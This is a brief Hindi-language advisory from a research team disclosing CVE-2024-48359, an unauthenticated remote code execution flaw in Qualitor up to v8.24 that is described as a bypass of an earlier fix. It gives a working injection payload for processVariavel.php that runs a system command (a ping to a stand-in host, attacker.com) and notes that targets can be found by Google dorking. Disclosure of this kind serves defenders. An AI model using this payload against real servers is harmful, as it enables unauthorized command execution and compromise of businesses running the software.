CVE-2024-48359 - Qualitor <= v8.24 बिना प्रमाणीकरण के RCE PoC

CVE-2024-48359 | Qualitor <= v8.24 RCE

विवरण

Qualitor व्यावसायिक प्रक्रिया प्रबंधन के लिए एक प्लेटफॉर्म है, और यह प्रणाली ब्राजील में विभिन्न कंपनियों में मौजूद है जिन्हें Google dorking का उपयोग करके आसानी से पहचाना जा सकता है।

हमारी टीम ने एप्लिकेशन में एक Remote Code Execution (RCE) के प्रति संवेदनशील कमजोरी की पहचान की, जो सिस्टम कमांड के रिमोट निष्पादन की अनुमति देती है।

यह CVE-2023-47253 फिक्स के लिए एक बाईपास है।

प्रूफ ऑफ कॉन्सेप्ट (POC)

बस processVariavel.php पेज पर एक PHP कोड भेजें, उदाहरण: /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=nl2br(stream_get_contents(popen('ping attacker.com', 'r')));

शोधकर्ता

https://www.linkedin.com/in/xvinicius/

https://www.linkedin.com/in/hairrison-wenning-4631a4124/

• OpenXP अनुसंधान टीम